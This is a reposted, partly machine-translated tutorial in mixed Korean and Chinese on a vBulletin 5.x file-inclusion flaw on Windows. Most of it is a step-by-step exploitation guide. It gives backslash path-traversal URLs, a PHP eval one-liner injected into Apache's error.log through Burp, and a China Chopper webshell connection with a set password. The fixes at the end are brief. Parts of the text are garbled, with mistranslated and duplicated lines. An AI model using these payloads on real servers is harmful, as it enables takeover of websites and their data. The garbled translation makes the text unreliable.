>운영 및 유지보수 >안전 >vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

王林
王林앞으로
2023-05-19 23:46:041412검색

1. 취약점 소개

vBulletin에는 파일 포함 문제가 있으며, 이로 인해 악의적인 방문자가 vBulletin 서버의 파일을 포함하고 임의의 PHP 코드를 실행할 수 있습니다. 확인되지 않은 악의적인 방문자는 index.php에 대한 Routestring= 매개변수가 포함된 GET 요청을 발행하여 파일 포함 취약점을 유발할 수 있으며, 궁극적으로 원격 코드 실행 취약점으로 이어질 수 있습니다

2. 취약점 원칙

index.php 페이지가 GET 요청을 보냅니다. 로컬 파일을 포함하기 위해 경로 문자열 매개변수를 사용할 때 기능 함수는 계층별로 호출되어 경로 문자열 값을 필터링합니다.

이 코드는 /includes/vb5/frontend/routing.php 파일에 있습니다. /includes/vb5/frontend/routing.php文件

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现/

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>
이 코드는 routestring에서 얻은 값이 다음 형식인지 확인합니다. .gif code>, <code>.png, .jpg, .css 또는 .js 그렇다면 헤더 정보는 404

http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\apache\logs\error.log
를 반환합니다. 이 코드의 strpos() 함수는 $에서 <code>/ 문자가 처음 나타나는 위치를 반환합니다. path를 반환하면 정보가 false인 경우에만 처리가 계속됩니다. 즉, /는 경로에 나타날 수 없습니다.

Linux 서버의 경우 URL 처리 시 /는 디렉토리 계층의 구분자와 표시자를 나타내므로 웹사이트의 다른 파일을 여러 개의 ../ 형태로 포함할 수 없습니다. 그러나 Windows 서버의 경우 / 및 는 경로를 표현할 때 동일하지만 프로그램이 이를 처리하지 않으므로 Windows 서버에 대한 이 파일 포함 취약점이 발생합니다.

영향을 받는 버전


버전 번호 vBulletin v5.x 버전 취약점 발견자가 제조업체에 문의했지만 아직 답변을 받지 못했습니다.

3. 취약점 악용

다음 실습 부분에서는 점차 심화해 나가겠습니다. 취약점에 대한 이해 및 이해 활용하려면 먼저 페이지를 사용하여 오류를 보고하고 서버 관련 정보를 얻은 다음 서버의 내부 파일을 포함하고 phpinfo()를 실행하여 코드 실행을 확인하고 마지막으로 웹 사이트 로그 파일을 포함합니다. 웹사이트 관리 권한을 얻기 위해 PHP 문장을 작성했습니다.

1단계 취약점 검증

이 단계에서는 간단히 오류 보고서를 사용하여 서버 정보를 얻은 다음 취약점을 사용하여 검증을 위해 phpinfo() 함수 실행을 포함합니다

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예1. .12.2/vb5/index.php, 웹사이트 홈페이지는 다음과 같습니다.

2. 취약점 페이지를 방문하여 오류 메시지를 확인하세요.

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예172.16.12.2/vb5/index.php?routestring=.\을 엽니다. 브라우저에서 오류 메시지는 다음과 같습니다.


페이지를 볼 수 있습니다. require_once()를 사용하여 현재 경로(C:phpstudyWWWvb5/core/.\)를 포함하면 허용되지 않으며 오류가 보고됩니다. 오류 메시지는 웹사이트와 웹사이트 구축 소프트웨어의 절대 경로를 유출합니다: phpstudy

phpstudy 웹사이트를 구축할 때 기본적으로 웹사이트에 있게 됩니다. 루트 디렉터리에는 l.php 및 phpinfo.php 파일이 남습니다. 일반적으로 웹사이트 관리자는 그렇게 합니다. 이 두 파일은 escaping의 의미도 가지고 있으므로 삭제하거나 수정하고, 경로 표현 시 \ 는 동일하므로 Escape를 방지하기 위해 \를 사용합니다(이 실험도 완료할 수 있습니다)

3. .txt 파일

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예취약점이 포함되어 있는지 확인하기 위해 웹사이트의 루트 디렉터리에

웹사이트에서 텍스트 콘텐츠를 직접 표시합니다

4. phpinfo.txt 파일을 포함합니다

그런 다음 파일을 포함하려고 시도하고 구성된 링크를 엽니다.

http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\WWW\phpinfo.txtvBulletin5.x 버전의 원격 코드 실행 취약점 분석 예


여기 우리는 이미 서버에 있는 웹 사이트의 절대 경로를 알고 있으므로 포함된 파일의 웹 사이트 경로를 나타내기 위해 여러 ..\와 파일 경로를 사용합니다. 서버는 해당 파일을 구문 분석된 파일로 처리합니다. , phpinfo() 함수가 실행되었습니다.

phpinfo(): PHP 내장 함수, PHP 서버의 구성 정보 출력

2단계 취약점 공격

일반적으로 PHP 파일에 취약점 공격이 포함되는 방법은 먼저 웹사이트 업로드 지점을 사용하는 것입니다. 악성코드 파일을 업로드한 후, 업로드된 파일 경로를 찾아 URL을 구성하고, 취약점을 포함하여 악성코드를 실행하는 방법입니다. 하지만, 웹사이트 자체에 업로드 포인트가 없거나, 업로드된 파일에 제한이 있어서 파일의 경로를 알 수 없거나, 입력 시 얻은 매개변수가 필터링된 경우에는 이 방법이 작동하지 않습니다. 🎜🎜위에서 볼 수 있듯이 프로그램에는 포함된 파일 접미사에 제한이 있습니다. 다른 용도가 없으면 웹 사이트 자체에 존재하는 파일을 포함하도록 선택할 수 있으며 이것이 이번 실험에서 사용되는 방식입니다. : 웹사이트 로그 파일 포함🎜

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

具体配置如下图,修改后确定

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

위 내용은 vBulletin5.x 버전의 원격 코드 실행 취약점 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제